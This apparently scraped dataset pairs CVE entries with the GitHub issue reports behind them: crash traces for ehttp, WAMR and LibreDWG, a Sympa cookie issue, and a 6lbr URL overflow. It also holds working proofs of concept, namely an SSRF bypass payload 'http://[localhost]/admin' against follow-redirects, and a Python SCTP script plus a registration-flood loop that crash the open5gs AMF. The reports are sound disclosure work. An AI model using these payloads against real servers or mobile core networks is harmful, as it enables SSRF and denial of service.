#2 0x55999cd19eed in EpollSocket::handle_accept_event(int&, epoll_event&, EpollSocketWatcher&) src/epoll_socket.cpp:209
#3 0x55999cd1bc20 in EpollSocket::handle_event(epoll_event&) src/epoll_socket.cpp:386
#4 0x55999cd1d0cc in EpollSocket::start_event_loop() src/epoll_socket.cpp:491
#5 0x55999cd1d5c7 in EpollSocket::start_epoll() src/epoll_socket.cpp:526
#6 0x55999ccef9fe in HttpServer::start_sync() src/http_server.cpp:132
#7 0x55999cceb270 in main test/issue5/issue5_server.cpp:78
#8 0x7f441b0456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
Thread T2 created by T0 here:
#0 0x7f441b647c36 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:208
#1 0x55999cd2585e in ThreadPool::start_threadpool() src/threadpool.cpp:70
#2 0x55999cd1c080 in EpollSocket::init_tp() src/epoll_socket.cpp:417
#3 0x55999cd1d37a in EpollSocket::start_epoll() src/epoll_socket.cpp:514
#4 0x55999ccef9fe in HttpServer::start_sync() src/http_server.cpp:132
#5 0x55999cceb270 in main test/issue5/issue5_server.cpp:78
#6 0x7f441b0456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-use-after-free src/epoll_socket.cpp:234 in read_func(void*)
Shadow bytes around the buggy address:
0x607001a34180: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd
0x607001a34200: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd
0x607001a34280: fd fa fa fa fa fa fd fd fd fd fd fd fd fd fd fa
0x607001a34300: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa
0x607001a34380: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa
=>0x607001a34400: fd fd fd fd fd fd fd fd[fd]fa fa fa fa fa fd fd
0x607001a34480: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd
0x607001a34500: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd
0x607001a34580: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd
0x607001a34600: fd fa fa fa fa fa fd fd fd fd fd fd fd fd fd fa
0x607001a34680: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==131898==ABORTING
```
#### Potential Fix
A potential fix for this bug would be to set the pointers to NULL once they are freed. I believe the pointer of interest is the following:
* EpollContext *hc = (EpollContext *)
---
## References
* https://cwe.mitre.org/data/definitions/416.html
* https://cwe.mitre.org/data/definitions/125.html
| Memory Corruption Bugs | https://api.github.com/repos/hongliuliao/ehttp/issues/38/comments | 2 | 2023-10-08T01:27:38Z | 2023-10-08T22:13:28Z | https://github.com/hongliuliao/ehttp/issues/38 | 1,931,587,083 | 38 | 5,874 |
CVE-2021-46900 | 2023-12-31T05:15:08.040 | Sympa before 6.2.62 relies on a cookie parameter for certain security objectives, but does not ensure that this parameter exists and has an unpredictable value. Specifically, the cookie parameter is both a salt for stored passwords and an XSS protection mechanism. | {
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] | github.com | [
"sympa-community",
"sympa"
] | <!--- ↑↑ Provide a general summary of the issue in the Title above ↑↑ -->
Expected Behavior
-----------------
`cookie` parameter will be obsoleted.
Possible Solution
-----------------
<!--- Not obligatory, but suggest ideas how to implement the addition or change -->
- [x] Modify codes that are using cookie parameter appropriately.
- [x] Update documentation.
Context
-------
<!--- How has this issue affected you? What are you trying to accomplish? -->
<!--- Providing context helps us come up with a solution that is most useful in the real world -->
As far as I investigated with current stable (6.2.60), `cookie` parameter is used _at least_ in these things:
- bin/upgrade_send_spool.pl#sympa_checksum()
to migrate older bulk spool
This is needed for upgrading from versions prior to 6.2.
- bin/upgrade_sympa_password.pl#_decrypt_rc4_password()
to migrate older user password
This is needed for upgrading from versions prior to 6.2.26 by which RC4 encryption was deprecated.
- Sympa::Tools::Password#tmp_passwd()
to create temporary password for new users;
This process should be removed after careful review.
- Sympa::Archive#_get_tag()
to generate randomized tags for `$tag$` notation in `mhonarc_ressources.tt2`
This process should be removed by adopting another randomization.
- Sympa::List.pm#get_cookie()
to get List's (not the default in sympa.conf) `cookie` parameter
This function is no longer used.
| [CVE-2021-46900] Obsolete `cookie` parameter that is not secure enough | https://api.github.com/repos/sympa-community/sympa/issues/1091/comments | 21 | 2021-01-21T01:24:47Z | 2023-12-31T11:11:12Z | https://github.com/sympa-community/sympa/issues/1091 | 790,588,544 | 1,091 | 5,875 |
CVE-2023-52284 | 2023-12-31T06:15:08.487 | Bytecode Alliance wasm-micro-runtime (aka WebAssembly Micro Runtime or WAMR) before 1.3.0 can have an "double free or corruption" error for a valid WebAssembly module because push_pop_frame_ref_offset is mishandled. | {
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] | github.com | [
"bytecodealliance",
"wasm-micro-runtime"
] | ## Describe the Bug
When executing a valid WebAssembly module using the `iwasm`, the program terminates with a "double free or corruption" error, probably originating from the `wasm_loader_ctx_destroy` function in `wasm_loader.c`.
`iwasm --version`: iwasm 1.2.3
`uname -a`: Linux node0.wamr.randtest-pg0.utah.cloudlab.us 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
## Steps to reproduce:
1. Save the `crash.wat` (Remove .txt extension)
2. Install and build WABT toolkit (`wat2wasm` from WABT can be used to convert `crash.wat` into `crash.wasm` using: `wat2wasm crash.wat -o crash.wasm`. I have also added `crash.wasm` that obviates the need to use `wat2wasm`)
3. Run `iwasm crash.wasm`
4. Observe the `abort`.
## Files that cause the `abort`:
[crash.wat.txt](https://github.com/bytecodealliance/wasm-micro-runtime/files/12705032/crash.wat.txt) (Remove .txt extension when to save)
[crash.wasm.txt](https://github.com/bytecodealliance/wasm-micro-runtime/files/12705033/crash.wasm.txt) (Remove .txt extension when to save)
## Observed Behavior:
```
iwasm crash.wasm
double free or corruption (out)
Aborted
```
## Expected behavior:
`iwasm` is supposed to run the module successfully. `wasmer` and `wasmtime` run the module successfully.
## GDB Backtrace
```
Program received signal SIGABRT, Aborted.
__pthread_kill_implementation (no_tid=0, signo=6, threadid=140737350600640) at ./nptl/pthread_kill.c:44
44 ./nptl/pthread_kill.c: No such file or directory.
(gdb) bt
#0 __pthread_kill_implementation (no_tid=0, signo=6, threadid=140737350600640)
at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=6, threadid=140737350600640) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=140737350600640, signo=signo@entry=6) at ./nptl/pthread_kill.c:89
#3 0x00007ffff7ce5476 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26
#4 0x00007ffff7ccb7f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007ffff7d2c6f6 in __libc_message (action=action@entry=do_abort,
fmt=fmt@entry=0x7ffff7e7eb8c "%s\n") at ../sysdeps/posix/libc_fatal.c:155
#6 0x00007ffff7d43d7c in malloc_printerr (
str=str@entry=0x7ffff7e817b0 "double free or corruption (out)") at ./malloc/malloc.c:5664
#7 0x00007ffff7d45ef0 in _int_free (av=0x7ffff7ebcc80 <main_arena>, p=0x55555588a2f0,
have_lock=<optimized out>) at ./malloc/malloc.c:4588
#8 0x00007ffff7d484d3 in __GI___libc_free (mem=<optimized out>) at ./malloc/malloc.c:3391
#9 0x000055555557fd09 in wasm_runtime_free_internal (ptr=<optimized out>)
at /root/wasmoi/wasm-micro-runtime/core/iwasm/common/wasm_memory.c:233
#10 wasm_runtime_free (ptr=<optimized out>)
at /root/wasmoi/wasm-micro-runtime/core/iwasm/common/wasm_memory.c:265
#11 0x00005555555eb16b in wasm_loader_ctx_destroy (ctx=ctx@entry=0x555555889f50)
at /root/wasmoi/wasm-micro-runtime/core/iwasm/interpreter/wasm_loader.c:5333
#12 0x0000555555615f95 in wasm_loader_prepare_bytecode (error_buf_size=<optimized out>,
error_buf=<optimized out>, cur_func_idx=<optimized out>, func=<optimized out>,
module=<optimized out>)
at /root/wasmoi/wasm-micro-runtime/core/iwasm/interpreter/wasm_loader.c:10129
```
### Reduced code that caused the abort (`cat crash.wat`):
```
(module
(type (;0;) (func (param i64 f32 f32) (result i32)))
(type (;1;) (func (param i64) (result i32)))
(func (;0;) (type 0) (param i64 f32 f32) (result i32)
(local i32 i64 f32 f64)
global.get 0
i32.const 0
if (result i32) ;; label = @1
i32.const 1
else
i32.const 0
br 0 (;@1;)
global.get 0
i32.add
end
br_if 0 (;@0;)
drop
local.get 4
i32.const 0
call_indirect (type 1)
)
(table (;0;) 2 funcref)
(global (;0;) (mut i32) i32.const 0)
```
## Additional information
A combination of AFL++ and Wasmlike, an Xsmith-based random program generator produced the snippet of code that found the issue. [Xsmith Project](https://www.flux.utah.edu/project/xsmith)
| Double Free or Corruption Error on Valid WebAssembly Module Load | https://api.github.com/repos/bytecodealliance/wasm-micro-runtime/issues/2586/comments | 2 | 2023-09-22T23:14:32Z | 2023-10-18T02:47:47Z | https://github.com/bytecodealliance/wasm-micro-runtime/issues/2586 | 1,909,611,567 | 2,586 | 5,876 |
CVE-2021-46901 | 2023-12-31T07:15:07.443 | examples/6lbr/apps/6lbr-webserver/httpd.c in CETIC-6LBR (aka 6lbr) 1.5.0 has a strcat stack-based buffer overflow via a request for a long URL over a 6LoWPAN network. | {
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"787"
] | 787 | https://github.com/cetic/6lbr/issues/414 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"cetic",
"6lbr"
] | if u enter url like this:
[bbbb::100]/AAAAAAAAAAAAAAAAA.....AAAAAAAA (len = 1000)
it will crash with stack smashing.
because of strcat - https://github.com/cetic/6lbr/blob/develop/examples/6lbr/apps/6lbr-webserver/httpd.c#L119 | webserver buffer overflow when processing requested url | https://api.github.com/repos/cetic/6lbr/issues/414/comments | 10 | 2021-05-27T10:06:47Z | 2023-12-31T10:57:08Z | https://github.com/cetic/6lbr/issues/414 | 903,503,461 | 414 | 5,877 |
CVE-2023-26157 | 2024-01-02T05:15:08.160 | Versions of the package libredwg before 0.12.5.6384 are vulnerable to Denial of Service (DoS) due to an out-of-bounds read involving section->num_pages in decode_r2007.c. | {
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] | 125 | https://github.com/LibreDWG/libredwg/issues/850 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"LibreDWG",
"libredwg"
] | Hi rurban,
Making a quick report on an out-of-bounds read fuzzing crash. I confirmed this with a build using the `--enable-release` flag as well.
Release build error:
```
./programs/dwgread crash.dwg
ERROR: Invalid num_pages 7274598, skip
ERROR: Invalid section->pages[0] size
Warning: Failed to find section_info[1]
ERROR: Failed to read header section
Warning: Failed to find section_info[3]
ERROR: Failed to read class section
Warning: Failed to find section_info[7]
ERROR: Failed to read objects section
Warning: Failed to find section_info[2]
ERROR: Preview overflow 119 + 0 > 302223
Warning: thumbnail.size mismatch: 302223 != 0
zsh: segmentation fault ./programs/dwgread ./crash.dwg
```
Debug trace:
```
Program received signal SIGSEGV, Segmentation fault.
0x0000555555810645 in read_data_section (sec_dat=0x7fffffffc1f0, dat=0x7fffffffc880, sections_map=<optimized out>, pages_map=0x555555b0fd50,
sec_type=<optimized out>) at decode_r2007.c:840
840 r2007_section_page *section_page = section->pages[i];
(gdb) backtrace
#0 0x0000555555810645 in read_data_section (sec_dat=0x7fffffffc1f0, dat=0x7fffffffc880, sections_map=<optimized out>, pages_map=0x555555b0fd50,
sec_type=<optimized out>) at decode_r2007.c:840
#1 0x0000555555808d5c in read_2007_section_revhistory (dat=0x7fffffffc880, dwg=0x7fffffffc8c0, sections_map=0x555555b0f410,
pages_map=0x555555b0fd50) at decode_r2007.c:2023
#2 read_r2007_meta_data (dat=0x7fffffffc880, hdl_dat=<optimized out>, dwg=0x7fffffffc8c0) at decode_r2007.c:2466
#3 0x00005555555d5279 in decode_R2007 (dat=0x7fffffffc880, dwg=0x7fffffffc8c0) at decode.c:3469
#4 dwg_decode (dat=0x7fffffffc880, dwg=0x7fffffffc8c0) at decode.c:227
#5 0x00005555555be42d in dwg_read_file (filename=<optimized out>, dwg=0x7fffffffc8c0) at dwg.c:261
#6 0x00005555555be42d in main (argc=<optimized out>, argv=0x7fffffffdec8)
```
[crash.dwg.zip](https://github.com/LibreDWG/libredwg/files/12728083/crash.dwg.zip)
Thanks!
| Out-of-Bound Read in read_data_section in 0.12.5 | https://api.github.com/repos/LibreDWG/libredwg/issues/850/comments | 1 | 2023-09-26T13:28:46Z | 2023-10-30T17:06:23Z | https://github.com/LibreDWG/libredwg/issues/850 | 1,913,517,983 | 850 | 5,878 |
CVE-2023-26159 | 2024-01-02T05:15:08.630 | Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches. | {
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] | github.com | [
"follow-redirects",
"follow-redirects"
] | By the way, I read about Security.md but huntr.dev service has changed to AL/ML open source bugbounty platform. So I couldn't report it to there. Because of that reason, I'm writing it here.
# Description
Below is part of `follow-redirects`'s `index.js` code.
```
function urlToOptions(urlObject) {
var options = {
protocol: urlObject.protocol,
hostname: urlObject.hostname.startsWith("[") ?
/* istanbul ignore next */
urlObject.hostname.slice(1, -1) :
urlObject.hostname,
hash: urlObject.hash,
search: urlObject.search,
pathname: urlObject.pathname,
path: urlObject.pathname + urlObject.search,
href: urlObject.href,
};
if (urlObject.port !== "") {
options.port = Number(urlObject.port);
}
return options;
}
```
It checks URL hostname which is startswith `[` character.
Which means if the urlObject is `http://[localhost]/`, then it converts to `http://localhost/`.
But actually above code is not vulnerable code.
(Just the idea comes from above code)
The problem comes from below code.
```
function request(input, options, callback) {
// Parse parameters
if (isString(input)) {
var parsed;
try {
parsed = urlToOptions(new URL(input));
}
catch (err) {
/* istanbul ignore next */
parsed = url.parse(input);
}
/* below code skipped */
```
`urlToOptions()` function is called after `new URL()`.
When `new URL('http://[localhost]')` it throws an error which is `Invalid URL`.
Then it goes `catch{ }` phrase.
At the `catch{ }` phrase, there is vulnerable function which is `url.parse()`.
`url.parse('http://[localhost]')` sees URL to `http://localhost`.
Let's look at PoC code.
# Proof of Concept
```
// PoC.js
const express = require("express");
const http = require('follow-redirects').http;
const app = express();
const port = 80;
const isLocalhost = function (url) {
try{
u = new URL(url);
if(u.hostname.includes('localhost')
|| u.hostname.includes('127.0.0.1')
){
return true;
}
}catch{}
return false;
}
app.use(express.json())
app.get("/", (req, res) => {
res.send("Hello World");
})
app.post("/request", (req, res) => {
let url = req.body.url;
let options = {
'followRedirects':false
}
if(req.body?.url){
if(isLocalhost(req.body.url)){
res.send('Localhost is restricted.');
return;
};
http.get(url, options, (response) => {
let data = '';
response.on('data', chunk => {
data += chunk.toString();
});
response.on('end', () => {
res.send(data);
})
}).on('error', (e) => {
console.log(e);
res.status(500).send('Server Error');
})
}else{
res.send('URL is required.');
}
})
app.get("/admin", (req, res) => {
if(req.socket.remoteAddress.includes('127.0.0.1')){
res.send('Admin Page');
}else{
res.status(404).send('Not Found');
}
})
app.listen(port, () => {
console.log(`App listening on port ${port}`)
})
```
Above is Web Server built by express and follow-redirects. If user requests like below.
```
POST /request HTTP/1.1
Host: localhost
Connection: close
Content-Type: application/json
Content-Length: 34
{"url":"http://[localhost]/admin"}
```
Server responses `Admin Page`.
This is just an example code. There could be other cases using this vulnerability.
And also hostname spoofing does not only affect localhost. It is also possible for other domains.
```
# Case 1 : Bypassing localhost restriction
let url = 'http://[localhost]/admin';
try{
new URL(url); // ERROR : Invalid URL
}catch{
url.parse(url); // -> http://localhost/admin
}
# Case 2 : Bypassing domain restriction
let url = 'http://attacker.domain*.allowed.domain:a';
try{
new URL(url); // ERROR : Invalid URL
}catch{
url.parse(url); // -> http://attacker.domain/*.allowed.domain:a
}
```
The main point is that inside of `folow-redirects` module, it uses vulnerable function `url.parse()` when `new URL()` throws error.
`url.parse()` functions is now deprecated and it has `hostname spoofing` vulnerability.
You can check this site for unerstanding.
[https://hackerone.com/reports/678487](https://hackerone.com/reports/678487)
# Impact
Hostname spoofing may cause open redirect, SSRF, etc.
# Occurences
https://github.com/follow-redirects/follow-redirects/blob/main/index.js#L503
| [Security Report] hostname spoofing via url.parse in follow-redirects | https://api.github.com/repos/follow-redirects/follow-redirects/issues/235/comments | 5 | 2023-12-29T04:41:20Z | 2023-12-30T17:57:18Z | https://github.com/follow-redirects/follow-redirects/issues/235 | 2,059,059,047 | 235 | 5,879 |
CVE-2023-50019 | 2024-01-02T22:15:09.147 | An issue was discovered in open5gs v2.6.6. InitialUEMessage, Registration request sent at a specific time can crash AMF due to incorrect error handling of Nudm_UECM_Registration response. | {
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] | 755 | https://github.com/open5gs/open5gs/issues/2733 | [
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] | github.com | [
"open5gs",
"open5gs"
] | ### Open5GS Release, Revision, or Tag
v2.6.6
### Steps to reproduce
### Bug Description
According to page 143 of 3GPP TS 23.502 V18.3.0 (2023-09), in steps 14a-c of the User Equipment (UE) registration process, if the UE's registration type is initial registration or emergency registration, the AMF will send a Nudm_UECM_Registration request to the UDM, as shown in the figure below, notifying the UDM of a new UE wishing to register. Upon receipt of the Nudm_UECM_Registration request, if the registration request is valid, the UDM will send a verification and authentication response message to the AMF, confirming the identity of the UE and the validity of the registration request.
In the previous UE registration process, if the same UE sends a registration request again, the AMF will release the new or previous UE context depending on the situation. Before the response message from the UDM mentioned above arrives at the AMF, the previous UE context may be released, and the new registration process enters the AKA authentication process. At this point, the AMF will receive and process the response message from the UDM for the previous registration process, which will lead to incorrect states in the gmm state machine operation, thus causing the AMF to crash.
<img width="470" alt="crash reason" src="https://github.com/open5gs/open5gs/assets/103559845/24ee7743-95da-4d12-8b19-d21a460af458">
### Steps to reproduce：
Please set up the environment following the instructions at [https://github.com/s5uishida/open5gs_5gc_ueransim_sample_config](url), we use just one UE and one UPF.
We have two ways to cause AMF to crash:
1. If the same UE continuously sends registration requests via gNB, the AMF will receive and process a large number of these requests, which can easily create the situation described above. This method doesn't require additional code programming; just a few lines of script are needed to confirm the existence of the vulnerability.
Run the following script on the UE for about 10 minutes with the gNB turned off.
```shell
#!/bin/bash
while true;do
sudo ./nr-ue -c ../config/open5gs-ue0.yaml &
process_pid=$!
sleep 10
kill $process_pid
sleep 1
done
```
Then just turn on the gnb and observe the AMF
2. It is necessary to send a registration request to the AMF at a specific time to ensure the situation described above is achieved. A malicious adversary can cause the AMF to crash by registering their own gNB and sending registration messages from a UE with the same IMSI.
```python
import socket
import sctp
import time
sk = sctp.sctpsocket_tcp(socket.AF_INET)
# set up socket with your ip
sk.connect(("192.168.182.138", 38412))
# NGSetupRequest
ngsetup_data = b"\x00\x15\x00\x3e\x00\x00\x04\x00\x1b\x00\x09\x00\x00\xf1\x10\x50" \
b"\x00\x00\x00\x01\x00\x52\x40\x14\x08\x80\x55\x45\x52\x41\x4e\x53" \
b"\x49\x4d\x2d\x67\x6e\x62\x2d\x31\x2d\x31\x2d\x31\x00\x66\x00\x0d" \
b"\x00\x00\x00\x00\x01\x00\x00\xf1\x10\x00\x00\x00\x08\x00\x15\x40" \
b"\x01\x40"
sk.sendall(ngsetup_data)
time.sleep(1)
# InitialUEMessage, Registration request
ini_data = b"\x00\x0f\x40\x48\x00\x00\x05\x00\x55\x00\x02\x00\x01\x00\x26\x00" \
b"\x1a\x19\x7e\x00\x41\x79\x00\x0d\x01\x00\xf1\x10\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x2e\x04\xf0\xf0\xf0\xf0\x00\x79\x00\x13\x50" \
b"\x00\xf1\x10\x00\x00\x00\x01\x00\x00\xf1\x10\x00\x00\x01\xe8\xf7" \
b"\x53\x4e\x00\x5a\x40\x01\x18\x00\x70\x40\x01\x00"
sk.sendall(ini_data)
time.sleep(10)
sk.close()
```
The specific timing needs to be determined based on the particular environment.
[log&pcap.zip](https://github.com/open5gs/open5gs/files/13332215/log.pcap.zip)
### Logs
```shell
Below are some logs from version v2.6.6.
When receiving nudm response during the gmm_state_authentication(), AMF crashed.
11/06 16:04:24.027: [sbi] DEBUG: [200:PUT] http://127.0.1.10:7777/nudm-uecm/v1/imsi-001010000000000/registrations/amf-3gpp-access (../lib/sbi/client.c:604)
11/06 16:04:24.027: [sbi] DEBUG: RECEIVED[297] (../lib/sbi/client.c:615)
11/06 16:04:24.027: [sbi] DEBUG: {
"amfInstanceId": "30cde486-7c7a-41ee-bd71-310a68b7fc8c",
"pei": "imeisv-4370816125816151",
"deregCallbackUri": "http://127.0.0.5:7777/namf-callback/v1/imsi-001010000000000/dereg-notify",
"guami": {
"plmnId": {
"mcc": "001",
"mnc": "01"
},
"amfId": "020040"
},
"ratType": "NR"
} (../lib/sbi/client.c:617)
11/06 16:04:24.028: [amf] DEBUG: amf_state_operational(): OGS_EVENT_NAME_SBI_CLIENT (../src/amf/amf-sm.c:78)
{
"amfInstanceId": "30cde486-7c7a-41ee-bd71-310a68b7fc8c",
"pei": "imeisv-4370816125816151",
"deregCallbackUri": "http://127.0.0.5:7777/namf-callback/v1/imsi-001010000000000/dereg-notify",
"guami": {
"plmnId": {
"mcc": "001",
"mnc": "01"
},
"amfId": "020040"
},
"ratType": "NR"
}11/06 16:04:24.028: [gmm] DEBUG: gmm_state_authentication(): OGS_EVENT_NAME_SBI_CLIENT (../src/amf/gmm-sm.c:1376)
11/06 16:04:24.028: [gmm] ERROR: Invalid service name [nudm-uecm] (../src/amf/gmm-sm.c:1608)
11/06 16:04:24.028: [gmm] FATAL: gmm_state_authentication: should not be reached. (../src/amf/gmm-sm.c:1609)
11/06 16:04:24.032: [core] FATAL: backtrace() returned 9 addresses (../lib/core/ogs-abort.c:37)
/home/lxy/open5gs-main/install/bin/open5gs-amfd() [0x434602]
/home/lxy/open5gs-main/install/lib/x86_64-linux-gnu/libogscore.so.2(ogs_fsm_dispatch+0x13b) [0x7ffff7f9d56b]
/home/lxy/open5gs-main/install/bin/open5gs-amfd() [0x43a39d]
/home/lxy/open5gs-main/install/lib/x86_64-linux-gnu/libogscore.so.2(ogs_fsm_dispatch+0x13b) [0x7ffff7f9d56b]
/home/lxy/open5gs-main/install/bin/open5gs-amfd() [0x408134]
/home/lxy/open5gs-main/install/lib/x86_64-linux-gnu/libogscore.so.2(+0x11cca) [0x7ffff7f8ccca]
/lib/x86_64-linux-gnu/libpthread.so.0(+0x8609) [0x7ffff72f2609]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x43) [0x7ffff7217133]
The attached files contain logs from version v2.6.4 along with the corresponding packet captures.
```
### Expected behaviour
Upon conducting a code audit, we think that the issue arises due to a lack of handling for the situation described above in the gmm_state_authentication function in /src/amf/gmm-sm.c. Adding appropriate handling might be a solution.
### Observed Behaviour
AMF crashed when receiving nudm response in gmm_state_authentication
### eNodeB/gNodeB
UERANSIM v3.2.6
### UE Models and versions
UERANSIM v3.2.6 | [Bug]: InitialUEMessage, Registration request sent at a specific time can crash AMF due to incorrect error handling in the gmm state machine | https://api.github.com/repos/open5gs/open5gs/issues/2733/comments | 3 | 2023-11-13T08:21:42Z | 2024-01-03T22:31:43Z | https://github.com/open5gs/open5gs/issues/2733 | 1,990,113,647 | 2,733 | 5,880 |
CVE-2023-50020 | 2024-01-02T22:15:09.190 | An issue was discovered in open5gs v2.6.6. SIGPIPE can be used to crash AMF. | {
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"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"open5gs",
"open5gs"
] | ### Open5GS Release, Revision, or Tag
v2.6.6
### Steps to reproduce
Please set up the environment following the instructions at [https://github.com/s5uishida/open5gs_5gc_ueransim_sample_config](https://github.com/open5gs/open5gs/issues/url), we use just one UE and one UPF.
Run the following script on the UE for about 10 minutes with the gNB turned off. This will result in the AMF having a large number of packets to process.
```shell
#!/bin/bash
while true;do
sudo ./nr-ue -c ../config/open5gs-ue0.yaml &
process_pid=$!
sleep 10
kill $process_pid
sleep 1
done
```
Then just try to cyclically turn the gNB on and off .
[SIGPIPE.zip](https://github.com/open5gs/open5gs/files/13333131/SIGPIPE.zip)
### Logs
```shell
I have printed some logs in the function that polls and handles events to help me debug.
The attachments are the relevant logs and pcap.
As can be seen, when EPOLLIN,EPOLLOUT and EPOLLRDHUP occur at the same time, SIGPIPE also occurs.
11/13 16:55:43.340: [amf] DEBUG: IP[192.168.182.134] RAN_ID[1] (../src/amf/ngap-path.c:70)
11/13 16:55:43.340: [gmm] DEBUG: gmm_state_authentication(): AMF_EVENT_5GMM_MESSAGE (../src/amf/gmm-sm.c:1376)
11/13 16:55:43.340: [gmm] WARNING: Registration request (../src/amf/gmm-sm.c:1475)
11/13 16:55:43.340: [gmm] INFO: [suci-0-001-01-0000-0-0-0000000000] SUCI (../src/amf/gmm-handler.c:157)
11/13 16:55:43.340: [gmm] DEBUG: OLD TSC[UE:0,AMF:0] KSI[UE:7,AMF:7] (../src/amf/gmm-handler.c:224)
11/13 16:55:43.340: [gmm] DEBUG: NEW TSC[UE:0,AMF:0] KSI[UE:7,AMF:7] (../src/amf/gmm-handler.c:231)
11/13 16:55:43.340: [amf] WARNING: GUTI has already been allocated (../src/amf/context.c:1380)
11/13 16:55:43.340: [gmm] DEBUG: OLD TAI[PLMN_ID:00f110,TAC:1] (../src/amf/gmm-handler.c:275)
11/13 16:55:43.340: [gmm] DEBUG: OLD NR_CGI[PLMN_ID:00f110,CELL_ID:0x10] (../src/amf/gmm-handler.c:278)
11/13 16:55:43.340: [gmm] DEBUG: TAI[PLMN_ID:00f110,TAC:1] (../src/amf/gmm-handler.c:281)
11/13 16:55:43.340: [gmm] DEBUG: NR_CGI[PLMN_ID:00f110,CELL_ID:0x10] (../src/amf/gmm-handler.c:284)
11/13 16:55:43.340: [gmm] DEBUG: SERVED_TAI_INDEX[0] (../src/amf/gmm-handler.c:311)
{
"supiOrSuci": "suci-0-001-01-0000-0-0-0000000000",
"servingNetworkName": "5G:mnc001.mcc001.3gppnetwork.org"
}11/13 16:55:43.340: [sbi] DEBUG: [POST] http://127.0.1.10:7777/nausf-auth/v1/ue-authentications (../lib/sbi/client.c:656)
11/13 16:55:43.340: [sbi] DEBUG: SENDING...[113] (../lib/sbi/client.c:432)
11/13 16:55:43.340: [sbi] DEBUG: {
"supiOrSuci": "suci-0-001-01-0000-0-0-0000000000",
"servingNetworkName": "5G:mnc001.mcc001.3gppnetwork.org"
} (../lib/sbi/client.c:434)
11/13 16:55:43.340: [amf] INFO: rv = -2 . second cycle : queue_pop (../src/amf/init.c:140)
11/13 16:55:43.340: [core] INFO: after eopll_process , num_of_poll is 1 (../lib/core/ogs-epoll.c:215)
11/13 16:55:43.340: [core] INFO: received: 2005 (../lib/core/ogs-epoll.c:230)
11/13 16:55:43.340: [core] INFO: EPOLLIN event occurred (../lib/core/ogs-epoll.
11/13 16:55:43.340: [core] INFO: EPOLLOUT event occurred (../lib/core/ogs-epoll.c:259)
11/13 16:55:43.340: [core] INFO: EPOLLRDHUP event occurred (../lib/core/ogs-epoll.c:263)
11/13 16:55:43.340: [amf] DEBUG: SCTP_SHUTDOWN_EVENT:[T:32773, F:0x0, L:12] (../src/amf/ngap-sctp.c:191)
11/13 16:55:43.340: [amf] INFO: ogs_queue_push amf_sctp_event_push (../src/amf/event.c:104)
Thread 2 "open5gs-amfd" received signal SIGPIPE, Broken pipe.
[Switching to Thread 0x7ffff31b3700 (LWP 2504)]
__libc_sendmsg (flags=0, msg=0x7ffff31b2990, fd=12)
at ../sysdeps/unix/sysv/linux/sendmsg.c:28
28 ../sysdeps/unix/sysv/linux/sendmsg.c: No such file or directory.
(gdb) bt
#0 __libc_sendmsg (flags=0, msg=0x7ffff31b2990, fd=12)
at ../sysdeps/unix/sysv/linux/sendmsg.c:28
#1 __libc_sendmsg (fd=12, msg=0x7ffff31b2990, flags=0)
at ../sysdeps/unix/sysv/linux/sendmsg.c:25
#2 0x00007ffff709a8f1 in sctp_sendmsg () from /lib/x86_64-linux-gnu/libsctp.so.1
#3 0x00007ffff7f76162 in ogs_sctp_sendmsg (sock=0x7fffec0fb060, msg=0x7fffec074360,
len=20, to=0x0, ppid=60, stream_no=2) at ../lib/sctp/ogs-lksctp.c:228
#4 0x00007ffff7f7360a in ogs_sctp_senddata (sock=0x7fffec0fb060, pkbuf=0x7fffec074300,
addr=0x0) at ../lib/sctp/ogs-sctp.c:63
#5 0x00007ffff7f73c4b in sctp_write_callback (when=3, fd=12, data=0x7ffff413a070)
at ../lib/sctp/ogs-sctp.c:110
#6 0x00007ffff7fa2d01 in epoll_process (pollset=0x4e4170, timeout=0)
at ../lib/core/ogs-epoll.c:290
#7 0x0000000000407f5b in amf_main (data=0x0) at ../src/amf/init.c:118
#8 0x00007ffff7f8ccca in thread_worker (arg=0x5a5480) at ../lib/core/ogs-thread.c:67
#9 0x00007ffff72f2609 in start_thread (arg=<optimized out>) at pthread_create.c:477
#10 0x00007ffff7217133 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
```
### Expected behaviour
A malicious adversary could cause the core network AMF to crash through this method,
so we hope that Open5GS can properly handle the SIGPIPE signal or avoid generating the SIGPIPE signal.
### Observed Behaviour
AMF crashed on SIGPIPE
### eNodeB/gNodeB
UERANSIM v3.2.6
### UE Models and versions
